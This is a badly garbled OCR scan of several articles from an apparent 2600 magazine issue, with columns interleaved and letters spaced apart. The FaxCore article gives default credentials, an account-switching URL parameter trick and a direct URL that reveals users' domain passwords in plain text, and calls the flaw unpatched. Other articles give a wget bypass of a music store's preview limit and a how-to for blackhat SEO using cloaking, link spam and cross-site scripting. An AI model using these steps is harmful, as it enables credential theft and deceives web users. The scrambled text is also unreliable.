recent ly was put  in charge of the defa u l t  page. There was very l i tt l e  code to see; 

i n sta l l at ion and i m p l ementat ion  of my the page j u st conta i ned an i f r ame which  
company's new web-based FaxCore fax i ng poi nted to "me n u s / ma i nMe n u / de f a u l  t .  

syste m .  L i ke any good IT m a nager, I spent the - a s p x ? xAU I D= 2 0 0 2 & ." The part I was 
fi rst week try i ng to find any bugs or  exp l o its i nterested in was the "xAU I D" part .  I started 
wh i c h  m ight cause a ha l t  i n  the company's m a n i p u l at i n g  the n u mber i n  the "xAU I D" 

product iv i ty. The system was p retty so l id when parameter, a n d  much to my s u rp r i se, I was 
i t  came to bugs, of wh ich  I o n l y  fou n d  a few. access i n g  d i fferent system accou nts. There 
I d i d  d i scover a n ice-sized secu r i ty exp lo i t  i n  a re seven system accou nts, n u m bered 
wh ich  anyone with a l i tt l e  bit of know ledge from 2 001 to 2 007. One of these is the 
can v i ew any u ser's doma i n  password. adm i n  accou nt .  By s i m p l y  po in t ing  my web 

I have rev i ewed the sou rce code, so I b rowser at h t tp : /  / f a x c o r e . doma i n . 

know that the i n it i a l  l og i n  screen for the l o c a l / ? xAU I D=2 0 0 1 & , I fou n d  myse l f  
FaxCore system i s  p retty so l id;  the exp lo i t  l ogged in  as  the adm i n i strator of the  FaxCore 
o n l y  works once you have l ogged in to the system .  Aga i n, th i s  is  a p retty big sec u r i ty ho le, 
system .  When conf igu r i n g  o u r  system, we but  I wanted to know how m uch  damage th i s  
chose t o  i m port a l l  o f  o u r  u sers u s i ng Active system cou l d  rea l l y  do; after a l l ,  i t  is j ust a 
D i rectory. You wou l d  need the l og i n  name fax i n g  syste m .  
and password o f  someone i n  t h e  doma i n  FaxCore s h i ps w i t h  a featu re that a l l ows 
to get i nto FaxCore----or so I thought. I read the adm i n i strator to " i m personate" a n other 
through the adm i n i strat ion  gu i de, wh i c h  is  u ser, g iv ing  access to that u ser's fax m a i l box.  
ava i l a b l e  o n l i ne, and I d i scovered that  the The i mpersonate funct ion actu a l l y  works o n  
defa u l t  acco u nt c reated on  a n e w  FaxCore the same tec h n i q u e  as the above-ment ioned 
system i s  s i m p l y  "Ad m i n "  wi th  the password exp l o it; it opens up a new w i ndow a n d  
o f  "Password " .  The adm i n  acco u n t  i s  t h e  o n l y  changes t h e  "xAU I D."  From t h e  adm i n i strat ion  
one referenced wi th i n  the docu m entat ion;  page, you a re ab le  to go through the user l i st, 
however, there are a few other system i mpersonate each u ser, a n d  v i ew a l l  of the i r  
accou nts v i s i b l e  i n  screenshots shown i n  faxes. Here i s  where I sta rted t o  do some 
the m a n u a l .  Know i ng that a good system research .  I knew that the FaxCore system u sed 
adm i n i strator wou l d  change the password to tokens to automat i ca l l y  fi l l  in i n format ion on 
the adm i n  acco u nt as soon as FaxCore was not if icat ions  and cover pages. One of the 
i nsta l led, I l oo ked for other  means of logg i n g  tokens i s  " $ $ U S E R . PA S S WORD $ $ " .  Now, as 
i n .  So I t r ied one of the other accou nts l i sted I sa i d  ear l i er, we u sed the Active D i rectory 
i n  the sc reenshots. "SYS- U N ROUTED" opt ion  to i mport o u r  u ser l i st i n stead of u s i ng 
i s  a system account  c reated for i nterna l  the i nterna l  FaxCore user database. I a l so 
operat ions .  N o  s u rpr i se: i t  a l so s h i pped with knew that the password token was u sed to 
a password of "password", but  because ema i l  u sers the i r  forgotten passwords. B u t  I 
the acco u nt does not have adm i n i strator wanted to see if the FaxCore system stored 
access, it was over loo ked a n d  thought of as the passwords of Active D i rectory u sers, so 
a "non-th reat." I now was l ogged in to the I des igned a cover page wi th i n  the FaxCore 
system as  "SYS- U N ROUTE D " .  Th i s  acco u nt cover page ed i tor  with the password token 
holds a l l  of the u n sorted faxes that have been u sed on  i t, a n d  then I sent a fax to myse l f  . 
received.  Th i s  i s  a potent ia l  th reat but  not the When I rece ived the fax, my password. was 
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there i n  p l a i n  text. It had been stored i n  the 
FaxCore database when I l ogged i nto the 
system. My goa l became the abi l i ty to get the 
password of a l l  the u sers without h av i n g  to 
send a fax from each one of them. 

I d iscovered, wh i l e  go i ng through the 
faxes I had sent, that there was a page n am ed 
"Test Tokens." U pon c l i c k i ng on that  l i n k, I 
was greeted with a page that showed what 
each token wo u l d  d i splay i f  u sed. Th i s  page 
a l so i n cluded my password-right there, 
in p l a i n  text. I had fou n d  i t. A l l  I needed 
was the d i rect l i n k  h t t p : / / f a x c o r e . 

- d o m a i n . l o c a l / a p p s / m e s s a g e  

- V i e w e r / d e l i v e r y T e s t T o k e n s . 

- a s p x ? xU s e r I D= a n d  the u ser  l i st ava i lab le  
after l oggi ng i nto the a d m i n i strator accou nt, 
a n d  I was set. Each u ser has a u n iq u e  i d, 
a n d  when the id i s  entered at the end of the 
U RL, the page w i l l  retu rn a l l  of  the tokens 
ava i l ab l e, i nclu d i ng the i r dom a i n  l og i n  name 
a n d  password. 

Th i s  system has m a n y  v u l nera b i l i t i es, but  
t h i s  was  o u r  greatest concern.  Everyone i n  
the company, i n c l u d i ng o u r  p res ident, u ses 
the FoxCore software a n d  wou l d  h ave been 
in da nger of h av i ng the i r  i nformat ion open l y  
m a d e  ava i l ab l e. W e  h ave corrected the i ssues 
on o u r  server; however, a patch has  not been 
i ssued to correct these prob lems. So, other 
FaxCore c u stomers a re wide open a n d  sti l l  
v u l nera b l e  to t h i s  exp lo it. 

As I rev i ewed the FaxCore sou rce code, 
the b i ggest p rob lem I fou n d  is that the o n l y  
ver i ficat ion o f  w h i c h  u s e r  y o u  a re i s  u pon 
l ogi n.  Once you 're logged i n, you r  c redenti a l s  
a re never aga i n  checked. Th i s  leaves t h e  system 
wide open. As t h i s  p rob lem is p a i red with a n  
i m personat ion fu nct ion wh i c h  s i m p l y  u ses a 
n u m bered accou nt to g ive you fu l l  access, I 
a m  s u rpr i sed t h i s  v u l nera b i l ity i s n 't common 
knowledge yet. So th i s  i s  my contr i but ion to 
the 2600 com m u n ity. 

Shoutout to Element! 

R E S H A C K I N G 
W I N D O W S  

by Vitaminion 
vitaminion@gmai l .com 

I f  you have Wi ndows Vi sta, then by now you 
have probably tried its vers ion of the class ic  
t i me-wast ing game M i nesweeper. You may have 
noticed differences between the Vista vers ion 
and i ts predecessors. The Vista vers ion has snaz­
z ier graphics, a n i m ated explos ions and a wei rd 
sweeping beam of l ight when you win.  

But  i t  sti ll gets bori n g  fa i rly qu ick ly. 

V I S T A G A M E S  
and click Open F i le Locat ion on the Shortcut 
tab. You want to work on a copy in case you 
screw somethi ng up. 

Lau nch ResHacker and use it to open you r  
copy o f  M i ne Swe e p e r . d l l .  You will see a tree 
l ist of folders. Many of M i nesweeper's sett i ngs 
a re kept in an XML document and are s i mple 
to edit. After each change, be sure to save you r  
work i n  ResHacker before fi r ing  up you r  game. 

Here are a few examples of thi ngs you can 
do: 

This a rt icle w i l l  exp l a i n  how to custom i ze U nlock the h idden debug menu 
Vista's bu i lt- i n  games, using Minesweeper as U se ResH acker to open M i n e sweepe r . exe.  
the main example. I t  wi l l  a l so give you an  i ntro- mu i , which wi l l  be in a folder ins ide the Mi ne-
duction to the bas ics of Res Hacker, a powerfu l sweeper fo lder. On my system, the folder is  
freeware Windows program ava i lable at ca l led e n - U S ,  but you rs m ight be different. In 
h t tp : / / www . an gu s j . c om/ r e s o u r c e h a c k e r / . Res Hacker, open the MENU fo lder, then the 1 64 

The latest vers ion of ResHacker was released fo l der and then c l ick the 1 03 3  resou rce i ns ide. 
i n  2002, and its a uthor no longer supports i t, so See the text for the Debug menu options? 
Res Hacker i s  not a new program, but i t's sti l l  Now you can replace the bor ing o ld menu 
fu n to use. It's a good way for novices to poke options with the hidden ones. Open the 1 63 
around applicat ions without needi ng program- folder, which conta i ns the bor ing old menu; 
m i ng knowledge. then, r ight-cl ick the 1 033 i n s ide and delete i t. 

F i rst, make a copy of you r  M i nesweeper R ight-c l i ck the 1 03 3  i ns ide the 1 64 fo lder and 
folder, whi ch i s  probabl y  i n  P r o g r a m  F i l e s \  rename i t  to 1 63 .  Save. 
M i c r o s o f t  Game s .  To f ind it, r ight-c l ick Mi ne- Launch M i nesweeper and you ' l l  see the 
sweeper in you r  Sta rt men u,  choose Propert ies Debug menu. I t  has fou r  options. "TQggle  Show 
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Mines" wil l  show you a l l  the mines, but you 
must select it after you have clicked at least one 
square to start playing. "Win" forces an auto­
matic win. 

Solitaire, Spider Solitaire, Hearts, Freecell 
and even Purble P l ace a l l  have hidden Debug 
menus with cheats and other secrets; in fact, 
Purble Place has several hidden menus. 

Make a bigger minefield than the 
24 by 30 board the game al lows 

Use ResHacker to open M i n e s w e e p e r . d l l .  

Open the U I \ M I NESWEEPER . XML folder inside. 
Find the tags MaxBo a r dW i d t h  and MaxBo a r d ­

H e i g h t .  These numbers define the upper limits 
of the board size. Change them as you please, 
save, and launch the game. 

Go to the Game menu and choose Options. 
The box still says the width and height limits are 
24 and 3 0, but you 'll find that they aren't. You 
can a l so change the l imit on the number of mines 
by changing the nu mber in the MaxMines tag in 
that same UI \ M I NESWEEPER . XML resource. 

Change graphics, sounds 
and other settings 

Use ResHacker to open M i n e sweep e r . d l l .  

subfolders containing the game's sounds and 
graphics, which you can replace with your 
own. 

For example, open S HEET S \ BLUES HEET l X 2 l .  

J P G .  Right-click the 103 3 and choose "Save 
[DATA: SHEETS\ RLUESHEETl  X21.JPG : 103 3 ] " . 
Save the JPG file. Edit it however you want. 
Then right-click the 103 3 and choose "replace 
resource." Browse to your edited JPG, enter the 
top- level folder, which in this case will be DATA, 

as the resource type and the subfolder, which 
in this case will be S HEET S \ BLUES HEET l X 2 l . J PG 

as the resource name. Leave the language field 
h lank. Save and launch Minesweeper. 

These are j ust a few exa mples of what you 
can do with ResHacker. Poke around a l itt le  bit, 
and you ' l l  find that you can change the anima­
tion speed for Minesweeper's exploding mines, 
change the text of menus and error messages, 
and do much more. 

I t  wou ld probably take a book to describe 
everything ResHack can do, even for a small 
game like Minesweeper or Solitaire. Hopefu l ly, 
this article has encouraged you to check it out, 
play around, and most importantly, have fun 

iiiiijo_
e

_ � 
by mOther 

Bleep (h t t p : / / www . b l eep . c o m / ) is  Warp 
Records' online MP3 and FLAC store. You can 
purchase music and download it, much l ike 
iTunes, except without any DRM. Warp's catalog 
is available, as is music from many other record 
labels, including Domino, XL Recordings, Rough 
Trade, and S kam. 

You can preview a l l tracks using their Flash 
player. The annoying thing about this player 
is that it stops the playback after 30 seconds, 
and you have to click on the seek bar to start it 
playing again. I 'm guessing that they did this to 
stop people from recording the stream. 

After a litt le hacking around, I discovered an 
easy way to download the full MP3s. 

Track links look like this: h t tp : / / www . 

� b l eep . c om / p l ay e r . php ? t r a c k = < r e l e a s e I D >  

-_DM - < t r a c k >  

r e l e a s e I D  i s  a code corresponding to  the 
albu m, and t r a c k  is a two-digit numher, such as 
01, which is obviously the track number of the 

the mp3 from the following URL: h tt p : I I  

� l i s  t e n . b l eep . c orn / p l a y e r  . p hp ? k ey = < ke y >  

I discovered this by using Ethereal to sniff 
the http traffic. The above uri returns the mp3 in 
its entirety. The Flash player itself is what stops 
playback after 30 seconds. So, you can retrieve 
the mp3 as follows: 
wg e t  -0 t e s t . rnp 3  h t tp : / / l i s t en . b l eep 
� . c om / p l ay e r . php ? ke y = < key> 

I was going to try to determine how the key is 
calculated from the release I D  and track number 
(database lookup?), but then I realized that I 
needn't bother. It's a lot easier to j ust navigate to 
the first U R L  and parse the key out of the HTML. 

I ' ve written a simple python script which 
automates this process. Run it without any 
parameters for details on how to use it. The script 
also extracts the album cover, as well as the artist 
and album names. Read the source for details. 

Don't be a jerk. Buy the mu sic you enjoy, and 
support the artists. Remember, these MP3 s are 
only 96kbps (or less). Trust me: Autechre sounds 
excellent in F LAC. 

song. The scripts mentioned in this 
This URLretums the HTMLcodeto embedtheir article can be downloaded from 

Flash MP3 player and to pass the player parameters the 2600 Code Repository at 
such as the track title. One of these parameters is 
"k�". This key is used by their player to retrieve http://www.2600.comicode/ 
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by PriesT 
priestinaround @gmai l .com 

I enjoy my work, for the most part. Once 
I look past the dealing with stu pid idiots and 
frustrating computers, the small computer 
repair business I am employed at really is an 
interesting place. 

I t  is no secret that my passion lies in secu­
rity, and it  is obvious to my co-workers that my 
hea rt skips when I am set to recover a 000 
password off of a laptop or to fix a problem in 
the local network. This is all very intriguing, 
but the latest encounter I have had was directly 
related to a secu re "thu mb drive." 

Here is the story that our customer gave us, 
more or less. Appa rently this gentleman needed 
desperately to access the many important docu­
ments that he had on his I mation-brand flash 
drive. The drive claims to prevent access to all 
data unless the correct password is entered into 
a small utility, which then allows you to see the 
files. Also, after six failed password attempts, 
the drive wipes itself, destroying any data and 
preventing all access, supposedly. Einstein 
here had done just that, and he wanted his 
data back. 50 I set to work. The drive was a 2 
gigabyte I mation 18405, which seemed to have 
been discontinued recently. On inspecting the 
layout of the drive, I found that it had a small 
hardware switch that controlled write protec­
tion, and a small program that controls if the 
files on the drive a re visible or not. 

For those who don't  know, the I mation secu­
rity featu re allows you to choose how much 
data to hide and how much to keep public by 
splitting the drive into private and public parti­
tions. In this way, the private partition remains 
hidden until it has been activated by a windows 
executable called lock. exe. This program 
allows the partition to be viewed as if it were a 
normally mounted drive. 

50 my first step in poking a round in this 
small drive was the I mation website. Naturally, 
there was no information on password recovery 
listed there. My next step was the internet, 
which also came up empty. At this point, my 

Ever since I saw an episode of Hak.5 online 
(ht t p://www . ha k 5 . org/ archi ves/1 6 9 ), 
I have been nervous  about running our data 
recovery programs on a customer ' s  flash drive; 
they a re of cou rse meant to be used on physical 
hard drives. "But," I thought, "what the heck? 
I t's not like this guy would gain anything by not 
running the programs." 

At this point, I had a USB drive which was 
only 2 megabytes in size. This was because 
when the disc was formatted with lock . exe, 
the user had decided to keep as much of 
his data secu red as was hu manly possible. 
I couldn't  really do much here. U sing the 
lock .  exe utility again, I managed to erase the 
password and to start anew with the settings 
reversed, with 2 megabytes of secu re data and 
the rest left public. Now there was something 
to work with. 

50 I ran ou r first data recovery program. 
I t  found a grand total of one file, woohoo! 
This file was none other than the lock . exe 
file that was readily viewable anyway. What 
happened next was very odd. I then ran our 
second program, GetBackData for FAT, and 
I recovered every single file the user had lost 
after encrypting his drive. 

The result was a bunch of . doc files. Once 
the customer came in to pick up his drive, I told 
him about the process and asked to confirm if 
these were the files he had created after locking 
his drive down. He confirmed that they were. 

50 in conclusion, I was actually su rprised 
that data recovery worked. I was more su rprised 
by the fact that it was on a flash drive than by 
the fact that I was recovering "locked" data. I 
think that the idea I mation has here is a very 
good one for basic consumers, but against a 
dedicated adversary, it may not stand up to 
par. 

Links: 
I mation18405 : h t tp : / /www . provan t a g e . 

- c om / i ma t i on - 1 8 4 0 5 - 7 3 M D S 2 J l . h tm 

Lock.exe download location: 
h t tp : / / www . i ma t i on . c o m / s llpp o r t /  

-dr i v e r s / lma t i onLOCK . exe 

GetBackDatafor FAT: h t tp : / /www . run t i me 

- . o rg / da t a - r e c overy- s o f tware . h tm 

boss offered an interesting suggestion: run data Shout out: gamer4goood. 
recovery on it. 
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BLackhat SEQ : 

ExpLoitrrrg The D umb 

MCIS£e£ to Make A Profit 

by i l i kenwf 
parwok@gmail .com 

A steady i ncome i s  necessary these days, 
espec i a l l y  for geeks and h acker types. With 
a l l  of the wonderfu l dev i ces and hardware 
u pgrades that come out every day, we tend to 
spend great dea l s  of money to keep o u r  tech­
no logy add ict ions sat i sfied . So, a supp lement 
to the wa l l et wou l d  be wel come, r ight? I f  you 
know you r  way a ro u n d  the I n ternet, there i s  a 
pretty s i m p l e  way to m a ke decent amou nts of 
money on l i ne.  The o n l y  t h i ngs needed a re P H P  
sk i l l s ,  a good web host, some dom a i n  na mes, 
and ignorant peop le  l az i l y  s u rf ing to you r  s ites. 
With these t h i ngs combi ned, you 're ready for 
B lackhat Sea rch Eng ine  Opt i m i zat ion .  

What is it? 

Set It  Up 
Ass u m i ng that you have a good web host, 

the fi rst step is to set up you r  content m a nage­
ment system on a dom a i n .  P ick  a dom a i n  that 
f i ts the n i che that you want to a i m  you r s i te 
at .  You can  use subdom a i n s  or set u p  fo lders 
with i n  a doma i n  in order to serve as  m u l t ip le  
s i tes, a l though one s i te per  doma i n  wi l l  keep 
you r  s i tes i n dexed for a l onger per iod of t ime .  
I n vestigate keywords rel ated to  you r  s i te's 
top ic ,  a n d  try to fi nd  some that a re often 
searched for, but wh ich  y i e l d  no to few search 
resu lts .  I n sert keywords i nto the content a reas 
and meta tags on a l l  of the s i te's pages. Once 
t h i s  i s  comp l ete, tota l l y  tweak the look of you r  
s i te .  Mod ify a n  ex ist ing free temp l ate, or c reate 
one of you r own . Photoshop together some 
sem i -good graph ics  and  s l a p  them up there 
wh i le you 're at i t .  Assu m i ng you a re u s i ng 
Wordpress, you shou ld  m a ke s u re to i nsta l l  
WP-O-Mat ic ,  a p l u g i n  that converts RSS feeds 
i nto posts, a l lowi ng keyword rewr i t i ng.  Other 
Word press p l ug ins  wh ich  a re geared spec i fi ­
ca l l y  toward SEO, such as  t h e  a utomat ic  meta 
tag generators, a re h i gh l y  recommended. 

B l ackhat SEO i s  the pract ice of p utti ng 
up content-r ich webs i tes in an a u tomated 
way. Once these s i tes a re up and  r u n n i ng, 
the goa l is to get them i ndexed for a set of 
n iche keywords .  Once i n dexed in the search 
engi nes for these keywords, a B l ackhat  SEO 
wi l l  p l ace advert i sements or sneaky red i rects Automatic Content 
to affi l i ate offers in strateg i c  a reas on the s i tes . When you r  s i te i s  ru n n i ng l ive and l ook ing  

The goa l i s  to  ga i n  as  many c l i cks or sa les as  good, f ind severa l RSS feeds off of s i tes related 

poss ib le  from the u nwitt i n g  users who v i s i t. to you r n i che, and  p l u g  them i nto WP-O-Matic .  

Some peop le  m a n u a l l y  set u p  each s i te, o n e  a t  U se t h e  rep l ace fu nct ion on a l l  o f  them as a 

a t i me, i n  order to avo i d  footpr i nts that Google  precaut ion to  swap out  common keywords, so  

a n d  i t s  i l k  a re able to  see .  Such footpr i nts can  that  you r content appea rs to be u n i q ue.  Set u p  

get you r  s i tes removed from search engi nes' a cron j ob to ca l l  one of the many free P H P  

i ndexes very q u i c k l y. I u su a l l y  u se Wordpress, p i n g  scr i pts hour ly, to pub l i c i ze you r  pages 
a n d  get them i ndexed . M a ke sure to use a 

as there a re eas i l y  mod i fiab le tem p l ates out  
p i ng scr ipt that i s  on you r  server a n d  wh ich  

there wh i c h  can  h e l p  b lend you r  s i tes i nto the sends the R PC requests from you r  server. Th i s  
b logosphere, a n d  m a ny p l ug i n s  wh ich  prov ide keeps you r  s i te from be i ng reported as spam 
SEO fu nct ions to get you r  s i tes i ndexed q u i c k l y  t o  t h e  search eng ines b y  servi ces l i ke P i ngoat. 
a re read i l y  ava i l ab le .  There a re spec i a l i zed Try to get backl i n ks to you r  s i tes by e i ther 
p rodu cts, wh ich  I won 't n ame, ava i l ab le  for outso u rc i ng or m a n u a l l y  submi tt i ng  you r  
p u rchase to a l low a utomat ion o n  a g igant ic  s i te to a few h u n d red to a few thousand l i n k  
sca le .  These u s u a l ly h ave detectable foot- d i rector ies .  Be gradu a l  when bu i l d i ng l i nks to 
pr i nts, u n l ess they a re des igned to mass i nsta l l  m a ke the accum u l at ion o f  these l i n ks appear 
a product and  not actu a l l y  c reate the s i tes. natura l .  The more l i n ks to you r  s i te, the h i gher 
Even then, s lopp i ness can l eave footpr i nts that in the search eng ine  ran k i ngs you r  pages wi l l  
end u p  gett i n g  a l l  of you r  s i tes removed from appear. I f  you fee l l i ke be i ng extremely  ev i l ,  
the i ndexes. you can find and use too l s  to mass spam l i n ks 
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on forums, comments, or by u s i ng c ross s i te 
scr ipt i ng. Be carefu l when you do t h i s !  These 
programs and scr i pts are easy to f ind,  and I 
ass u me that 2600 readers are q u i te capab l e  of 
f i n d i ng them on you r  own. 

Get I ndexed and Monetize 
The o n l y  step l eft is to wa i t. There w i l l  

a lways b e  a few of you r  s i tes that don't get 
i ndexed very q u i c k l y  or at a l l  by one or more 
search engi nes. Somet i mes it takes a long t ime 
for the s lower-craw l i ng engi nes that  a ren 't as  
pop u l a r  as Google  to  add new s i tes. When 
you have a m i n i m u m  of 1 00 resu lts in at l east 
one major search eng ine, put affi l i ate offers or 
pay-per-c l ick  advert i sements on a l l  of you r  the 
pages. For affi l i ates, e ither embed the offers, 
or use c loak ing scr i pts to send a l l  non-sp ider  
v i s i tors to a sa l es page. Use an  IP  f i l ter cou p l ed 
with a user agent checker scr i pt. For pay-per­
c l ick  advert i sements, make s u re to p l ace the 
ads strateg ica l l y  so that they are in p laces that 
users are l i ke ly  to c l i ck. The best areas a re 
around the r ight-hand scro l l  bar, as we l l  as i n  
the dead center of the page. Use m u l ti p l e  ad 
networks to avoi d  the footpri nts that search 
sp i ders can use to i dent ify and remove you r  
s i tes from the i r  i n dexes. From there, repeat the 
process on more s i tes. I f  you fee l  brave, you 
can put  a Google  custom search up for each 
of you r  s i tes, as they a l l ow you to p l ug in you r  
AdSense I D  for search res u l t  advert i sements, 
and you can spec i fy what s i tes your  custom 
search i n c l u des. Remember that you can put  
more s i tes on s u bdom a i n s  or in  fo l ders, or 
buy  99 cent . i n f o  dom a i n s  for each of you r  
B l ackhat s i tes. Qnce you get B l ackhat SEQ 
with Wordpress down to an  art, you can grad­
u ate to more advanced methods that i nvo l ve 
cron jobs ga lore, mass i nsta l l ers, markov 
engi nes, and other ways of scrap ing  content, 
or j ust keep doi ng what works for you.  What­
ever happens, good l u ck, and be carefu l !  

AdSense i s  rea l l y  str ict and w i l l  b a n  you r  
webs i tes i f  they determ i ne them to be 
"spammy." Use Pea kC l ick  f i rst, then use 
AdSense when you have severa l s i tes. I f  you 
wish to use one ad network, have a PHP scr i pt 
that o n l y  d isp lays you r  advert i sements and  
thei r code to  rea l users, and not  to the search 
engi ne bots. 

Another good way to make some money 
off of you r  s i tes is to i nsta l l  the Text-l i n k-Ads 
advert i s i n g  scr i pt. Th i s  scr ipt, wh ich  by des ign 
i s  carefu l ly h idden from search bots, can 
d i s p l ay either contextua l  l i n ks or o l d  fash i oned 
l i n ks on you r  s i tes. They are a l so work i ng on 
a pay-per-c l i ck network, among other new 
monet izat ion methods. 

At the t ime of wr it i ng, new mem bers are 
c urrent ly not a l lowed to j o i n, but in the futu re, 
NetAud i oAds may prov ide another aven ue 
i n  wh ich  you get pa id  for every rea l user by 
hav i ng aud io-on l y  advert i sments p lay for 
five seconds when they v i s i t. An noyi ng, but 
effective. 

I know many other methods, and  tool s, but  
I can't ment ion them by name, as I don't wish 
them to become use less in  my efforts to turn 
a profit. D i scover them for you rselves. I t  i sn 't 
that hard if you can fi nd  the r ight dark corner 
of the I nternet. 

If you can add some form of u sefu l ness to 
any of you r  s i tes, do so, as it w i l l  attract traff ic 
and deter spam h u nters from report i n g  you to 
the search engi nes. 

Useful Sites 
Syn d k8 is the defi n i t ive resou rce for 

B l ackhat SEQ. Regi ster, and learn from the 
masters. h t tp : / / s yndk8 . ne t  

B l uehat SEQ has many u sefu l posts that 
descr ibe l i n k  b u i l d i ng, and a pay serv i ce to get 
i n dexed q u i c k l y. h t tp : / / b l u eha t s e o . c om 

Notes Dig i ta l Po i nt Forums is a Whi tehat s i te, 

A good way to get traff ic is to part i c i pate but can be usefu l for our  own twi sted needs. 

in Stu mb leupon excha nges on the D ig i ta l Po in t  h t t p : I I  f o rums . d i g i  t a l  p o i n t . corn 

foru ms. Th i s  works for both Wh itehat and P H P  P i n g  Scr i pt: copy i t  to  you r  server, get 

B l ackhat s i tes. the RPC p i ng l i st from Syndk8, mod i fy i t  to fit 

D ig i ta l Po i n t  a l so has a free co-op adver- you r  p u rposes, and u se a cron job to have cur l  
t i s i ng  network goi ng, i n  wh ich  you  earn  c redits v i s i t  the U R l  of the p i n g  scr i pt every hour  or so. 
by d i s p l ay i ng other people's advert i sements, h t t p  : I I s  n i p p  e t s . d z o n e . c om I p o  s t s I 

and can i n  exchange advert i se you r  s i tes. Th i s  show! 3 3 2 9  

i s  great and can prov ide  many h u ndreds of YACG (Yet Another Content Generator) 

free back l i n ks when you r  s i te gets s ign i ficant i s  a great too l that b u i lds  s i tes a utomatica l l y, 
traff ic. p u l l i ng from var ious  content sou rces and  

Th i s practi ce i s c u rrent ly not i l lega l a nywhere markov i ng them. Make s u re to mod i fy or b u i l d  
that I am aware of. Spa m m i n g  v i a  ema i l  adver- a new tem p late ! See the forums to learn about 
t i s i ng i s  i l l ega l in  many ways. let's be carefu l ,  footpr i nts and add-ons for fu rther u sefu l ness. 
so that t h i s  doesn 't get out lawed as wel l . h t tp : / / g e tya c g . c om 
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Hacker Perspective 
Nick Farr 

"Far these peaple, there 's na separatian between wark and fun . "  
- Aaron Swartz (www. aaronsw.cam) 

On any given Monday night, j ust 2. 5  miles This fascination with hacker genius is why I 
up the hi l l from the White House, you ' l l  find work to he lp  bui ld  comm u nities of hackers, to 
a group of hackers gathered together a round bring hackers together to share their ta lents and 
microcontro l l ers. I n  one corner of the room, tack le  l a rger tasks.  My core belief is  that these 
hackers a re busy working on code, trading comm u nities wil l show society at l a rge what 
techniqu es, and h a mmering out  bugs .  In hacking rea l l y  is  and who hackers rea l l y  a re. 
a nother, hackers a re busy cutting wire, fil tering My core ta lent is hacking b u reaucracies and 
through bins of chips and components, hierarchies, gaining a deeper u nderstanding 
soldering and deso l dering components while of networks of people in order to patch their 
gent ly  critiqu ing each other's work. prej udices so our comm u nity can help the 

Most of the people in the room, however, wor l d  as a whole .  
a re "newbies ." They're off to the side, fasci nated f The irst "organizationa l hack"  I was 
by these hackers m aking cool things out of a 
pile  of parts. Th rough carefu l observation, 

invol ved in was moving the Ann Arbor 2600 

some id l e  chatter, and a few q uestions about 
meetings from a nea rby m a l l  into the U nivers i ty 

h k 
Of Michigan Stu dent Unl·on. The Unl·on had 

t e wor  in progress, they're getting a c learer 
d f h h I I  a l ot of rea l ly great meeting spaces, but  the 

i ea 0 w at  t ese sma components do and 
b u reaucratic h u rd les were a bit much for a l l  

how they come together. 
In a few Mondays, after getting a l itt le  but the most organized a nd esta b l ished student 

experience with a so ldering iron, a few code groups. I n  retrospect, it wasn't a l l  that ha rd to 

samples, a bit of encou ragement, and a kit of register a student group, get a few reg u l a rs to 

their own, a few of these newbies wil l sta rt chip in some cash,  and l obby some academic 

contributing ideas and hacks of their own _ 
departments and even the IT group to m atch 

and be recognized by their peers as  fe l low what we cou l d  scrounge up at a meeting. At 

hackers. the time, it seemed l ike a lot of work - but  it 

This is a l l  happening in a space c a l led was wel l worth it for what we got . 

Hac DC, an independent hackerspace fou nded We had fast, wired I nternet access (this 

and funded by h ackers to share knowl edge, was a few years before Wi- Fi took off), l ots of 

resou rces, and the crux of what hacking is power out lets, a h uge board room tab le  with 

rea l l y  about .  "Microcontro l ler Mondays" big comfy chairs, no secu rity guards looking 

a re j u st one example of how H acDC brings over o u r  s h o u lder, a food court downstairs -

hackers together to explore where technology what more cou l d  we have asked for? We even 

meets a rt, c u l tu re, po l itics, economics, a nd had a projector and a sc reen we cou ld  use to 

many other fie l ds. give presentations! To some of you ,  it might 

Since my first Ann Arbor 2600 meeting, not sound l ike a lot. B ut to us, it was m u c h  

sometime i n  t h e  mid 90s, I 've been fascinated better than the m a l l .  
b y  those w h o  ca l l  themse lves hackers. I f  I 've I t  wasn't l ong before w e  fou nd other 

ever been re l uctant to ca l l  myself a hacker, b u reau c ratic h u rd l es to exploit. At one 
it's because I 've been in awe of what other meeting, we fou nd out that Microsoft was 
hackers a re working on and the depth of going to be th rowing a big event in one of the 
knowledge and c reativity hackers bring to their upstairs ba l l rooms to he lp  sel l these limited-
work .  I ' m  rea l l y  b lown away how bril l iant our  insta l l  "student" versions of  Office. Most of 
comm u nity is, how q u ick ly  hackers achieve a us were abandoning c l osed sou rce software, 
deep u nderstanding of complex systems and even th rowing unofficia l distro parties d u ring 
find ways of brushing aside l imitations and our meetings . While we cou ld  see the end of 
a rtificia l boundaries. H ackers believe anything c losed sou rce software in the server market 
is possib le  and work very h a rd to prove it - (especia l l y those of us ca l led u pon to "fix" 
often j u st for fun. Exchange servers on a dai ly  basis), open 
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sou rce desktop software sti l l  had a long way Odd l y  enough,  I sti l l  get a b i t  of th i s  
t o  g o .  B u t  at  least i t  w a s  there! prejud i ce aga i nst the term when I ta l k  about 

Through some c l ever soc ia l  engi neeri ng, H a c OC I t's pronou nced " H ack- O-C" a n d  
sympathet ic  adm i n i strators, and  a better when I ' m  talk i ng about it to a non-tec h n i c a l  
knowl edge o f  t h e  ru les t h a n  those ca l led a u d i ence, I often end u p  go i ng i nto a long 
upon to enforce them, we were " i nv i ted" to expla n at ion as to who hackers rea l l y  a re 
demo the fi rst vers ions  of what's now known and  what hack ing  rea l l y  i s .  Fortunately, th i s  
as OpenOffice at the event Microsoft p a i d  for! is gett i ng a lot eas ier, thanks to the great 
Whether or not someone bought a Microsoft work hackers a re do ing and  the wi l l i ngness 
prod uct that day, few people left w i thout of hackers to ta l k  about the i r  com m u n ity 
gett ing  a free copy of Sta rOffice from us  to try without fea r  of be i ng branded as a cr i m i nal .  
at home. W h i le the s i de-by-s ide compar ison Now that there's a space i n  DC, I can  i nv i te 
wasn 't as good as it is today, we began to show people to d rop by to see what hack ing  is for 
the l a rger com m u n ity that there were good, themsel ves! . 
free open sou rce a l ternat ives that they could Most of what kept me go i n g  d u r i ng H F 's 
he lp  make better! long app l i cat ion process was a des i re to c h i p  

After col lege, I fol lowed some o f  these away at t h i s  prejud ice, to prove that we cou l d  
fr iends from Ann  Arbor o u t  t o  Ca l i forn ia ,  r ight pro u d l y  call  ou rse l ves h ackers a n d  a c h i eve 
at the t ime when the dot-com era was com i ng the same federally recogn i zed status enjoyed 
to a close. It was there that I encountered a by those who ca l l  themselves academ i cs, 
